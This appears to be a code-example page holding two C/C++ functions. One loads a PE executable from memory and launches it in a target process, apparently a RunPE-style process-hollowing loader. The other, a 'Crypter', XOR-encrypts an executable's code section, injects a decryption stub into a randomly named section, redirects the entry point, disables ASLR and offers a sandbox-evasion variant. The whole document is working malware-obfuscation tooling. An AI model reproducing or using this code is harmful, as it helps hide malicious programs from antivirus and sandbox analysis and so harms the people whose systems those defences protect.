Exemplo n.º 1
0
// -------------------------------------------------------------
// プロセス生成を行うメイン関数
//   引数:pPEFileImage   (ファイルデータのポインタ)
//         dwFileImageSize(ファイルデータのサイズ)
//         szTargetProc   (ターゲットプロセスパス)
// 戻り値:成功時0、失敗時0以外
// -------------------------------------------------------------
int CreateExeProcess(LPVOID pPEFileImage,
					 DWORD dwFileImageSize,
					 PTCHAR szTargetProc)
{
	// それぞれのヘッダポインタ取得
	PE_HEADERS pe;
	pe.dsh = (PIMAGE_DOS_HEADER)pPEFileImage;
	pe.pfh = (PIMAGE_FILE_HEADER)PEFHDROFFSET(pPEFileImage);
	pe.poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(pPEFileImage);
	pe.psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET(pPEFileImage);
	
	// MZ判定
    if(pe.dsh->e_magic != IMAGE_DOS_SIGNATURE)
        return -1;

	// PE判定
    if(*(DWORD *)NTSIGNATURE(pPEFileImage) != IMAGE_NT_SIGNATURE)
        return -1;

	// 実行ファイル判定
	if(pe.poh->Magic != 0x010B)
        return -1;

	// メモリイメージサイズを取得
	DWORD dwMemImageSize = TotalNewImageSize(&pe);
	
	// メモリイメージをロード(メモリ確保)
	LPVOID pMemImage = LoadPEImage(
		&pe, pPEFileImage, dwMemImageSize);
	if(pMemImage == NULL)
		return -1;

	// プロセスを起動
	if(ExecPEImage(&pe, pMemImage, dwMemImageSize, szTargetProc))
		return -1;

	// メモリイメージを開放(メモリ開放)
	FreePEImage(pMemImage, dwMemImageSize);
	return 0;
}
bool Crypter::crypt(const char *infile, const char *outfile){
	// variables

	DWORD dwOldProt, bytes;

	// open it and get the size
	HANDLE hFile = CreateFile(infile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
	if (!hFile){
		MYPRINTF("Unable to open file\n");
		return false;
	}
	DWORD dwFileSize = GetFileSize(hFile, 0);

	// load in memory
	LPBYTE fileBuffer = (LPBYTE) malloc(dwFileSize);
	ReadFile(hFile, fileBuffer, dwFileSize, &bytes, 0);

	CloseHandle(hFile);

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER) fileBuffer;
	// check if it is valid PE, i would say that this is merely a proper check, for a proper one you would need to calculate all the RVA's and see if they are valid
	if(dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
		MYPRINTF("IMAGE_DOS_SIGNATURE\n");
		return false;
	}

	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS) (fileBuffer + dosHeader->e_lfanew);
	if(ntHeaders->Signature != IMAGE_NT_SIGNATURE){
		MYPRINTF("IMAGE_NT_SIGNATURE\n");
		return false;
	}


	PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER) SECHDROFFSET(fileBuffer);
#define TEXT_SECTION ".text"
	while(memcmp(sectionHeader->Name, TEXT_SECTION, strlen(TEXT_SECTION))) // get the ".text" section header
		sectionHeader++;

	DWORD dwVSize                  = sectionHeader->Misc.VirtualSize; // the virtual size of the section, later this will be used as chunksize in our stub, after proper alignment
	DWORD dwSectionSize    = sectionHeader->SizeOfRawData; // speaks for itself
	DWORD dwStubSize; // the stubsize, in bytes
	if (Crypter::evadeSandbox){
		dwStubSize               = (DWORD) _end_evade_sandbox - (DWORD) _xor_block_evade_sandbox; // the stubsize, in bytes
	} else {
		dwStubSize               = (DWORD) _end - (DWORD) _xor_block; // the stubsize, in bytes
	}

	LPBYTE sectionBuffer = (LPBYTE) malloc(dwSectionSize); // allocate memory enough to hold our raw section data
	memcpy(sectionBuffer, fileBuffer + sectionHeader->PointerToRawData, dwSectionSize); // ... copy the data

	_xor_chunk(sectionBuffer, dwSectionSize, 256); // aaand encrypt it! you can use different block sizes here - 8, 16, 32, 64, 128, 256, 512...
	memset(sectionBuffer + sectionHeader->Misc.VirtualSize, 0, (dwSectionSize - sectionHeader->Misc.VirtualSize)); // fill with zeros after the end of actual data
	// copy back the data
	memcpy(fileBuffer + sectionHeader->PointerToRawData, sectionBuffer, dwSectionSize); // ... copy the data
	free(sectionBuffer);

	DWORD oep = ntHeaders->OptionalHeader.AddressOfEntryPoint + ntHeaders->OptionalHeader.ImageBase; // the original entry point, this is a linear address
	DWORD seg = sectionHeader->VirtualAddress + ntHeaders->OptionalHeader.ImageBase; // the section address, you guessed right, this too is a linear one
	DWORD bsz = 256; // you know what this is

	while(dwVSize % bsz) // we need to align it to block size
		dwVSize++;

	if (Crypter::evadeSandbox){
		VirtualProtect(_xor_block_evade_sandbox, dwStubSize, PAGE_EXECUTE_READWRITE, &dwOldProt); // to be able to update the stub...
	} else {
		VirtualProtect(_xor_block, dwStubSize, PAGE_EXECUTE_READWRITE, &dwOldProt); // to be able to update the stub...
	}

	// and update it, blah, blah, blah...
	if (Crypter::evadeSandbox){
		memcpy((void *)((unsigned long) _stub_evade_sandbox + OEP_o), &oep, 4);
		memcpy((void *)((unsigned long) _stub_evade_sandbox + SEG_o), &seg, 4);
		memcpy((void *)((unsigned long) _stub_evade_sandbox + BSZ_o), &bsz, 4);
		memcpy((void *)((unsigned long) _stub_evade_sandbox +  SZ_o), &dwVSize, 4);
	} else {
		memcpy((void *)((unsigned long) _stub + OEP_o), &oep, 4);
		memcpy((void *)((unsigned long) _stub + SEG_o), &seg, 4);
		memcpy((void *)((unsigned long) _stub + BSZ_o), &bsz, 4);
		memcpy((void *)((unsigned long) _stub +  SZ_o), &dwVSize, 4);
	}

	
	Crypter::section = new char [6];
	Random::createRandomName(COUNTOF(Crypter::section), Crypter::section);
	char* resDll;
	DWORD szResDll;
	if (Crypter::evadeSandbox){
		if (!Crypter::insertSectionConfigInPE(fileBuffer, dwFileSize, _xor_block_evade_sandbox, dwStubSize + sizeof(int), (PVOID*)(&resDll), &szResDll )){
			MYPRINTF("problem with injection\n");
			delete Crypter::section;
			return false;
		}	
	} else {
		if (!Crypter::insertSectionConfigInPE(fileBuffer, dwFileSize, _xor_block, dwStubSize + sizeof(int), (PVOID*)(&resDll), &szResDll )){
			MYPRINTF("problem with injection\n");
			delete Crypter::section;
			return false;
		}
	}

	free(fileBuffer);

	fileBuffer = (LPBYTE)resDll;

	dosHeader = (PIMAGE_DOS_HEADER) fileBuffer;
	// check if it is valid PE, i would say that this is merely a proper check, for a proper one you would need to calculate all the RVA's and see if they are valid
	if(dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
		MYPRINTF("IMAGE_DOS_SIGNATURE\n");
		delete Crypter::section;
		return false;
	}

	ntHeaders = (PIMAGE_NT_HEADERS) (fileBuffer + dosHeader->e_lfanew);
	if(ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
		MYPRINTF("IMAGE_NT_SIGNATURE\n");
		delete Crypter::section;
		return false;
	}
	ntHeaders->OptionalHeader.DllCharacteristics = ntHeaders->OptionalHeader.DllCharacteristics & ~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;

	sectionHeader = (PIMAGE_SECTION_HEADER) SECHDROFFSET(fileBuffer);
	while(memcmp(sectionHeader->Name, Crypter::section, strlen(Crypter::section))) // get the ".fpbcfg" section header
		sectionHeader++;

	sectionHeader->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE; 
	// R/W/E, executable code, initialized data. although my experience shows that you are just fine with R/W...
	if (Crypter::evadeSandbox){
		ntHeaders->OptionalHeader.AddressOfEntryPoint = sectionHeader->VirtualAddress + ((DWORD)_stub_evade_sandbox - (DWORD)_xor_block_evade_sandbox);
	} else {
		ntHeaders->OptionalHeader.AddressOfEntryPoint = sectionHeader->VirtualAddress + ((DWORD)_stub - (DWORD)_xor_block);
	}
	

	sectionHeader = (PIMAGE_SECTION_HEADER) SECHDROFFSET(fileBuffer);
	while(memcmp(sectionHeader->Name, TEXT_SECTION, strlen(TEXT_SECTION))) // get the ".text" section header
		sectionHeader++;

	sectionHeader->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE; 
	// R/W/E, executable code, initialized data. although my experience shows that you are just fine with R/W...

	bool res = true;
	if (!Crypter::saveFile(outfile, resDll, szResDll)){
		res = false;
		MYPRINTF("Unable to save file\n");
	}

	free(fileBuffer);
	delete Crypter::section;

	return res;
}